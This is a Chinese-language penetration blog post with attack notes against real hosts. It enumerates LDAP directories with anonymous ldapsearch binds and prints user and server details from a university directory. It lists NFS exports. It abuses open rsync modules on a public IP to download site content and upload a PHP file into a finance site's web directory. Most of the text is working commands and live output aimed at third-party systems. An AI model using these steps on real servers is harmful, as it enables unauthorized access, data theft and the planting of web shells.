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Linux渗透技巧+实战手记

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一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b "cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: manager
cn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
sn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" | more
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23

supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
dataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA

supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5

渗透使用的脚本见附件

二. NFS渗透技巧
showmount -e ip
列举IP

渗透动画:

三.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
img_finance
auto
img_auto
html_cms
img_cms
ent_cms
ent_img
ceshi
res_img
res_img_c2
chip
chip_c2
ent_icms
games
gamesimg
media
mediaimg
fashion
res-fashion
res-fo
taobao-home
res-taobao-home
house
res-house
res-home
res-edu
res-ent
res-labs
res-news
res-phtv
res-media
home
edu
news
res-book

看相应的下级目录(注意一定要在目录后面添加上/)


rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/

2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt


Tags: linux渗透
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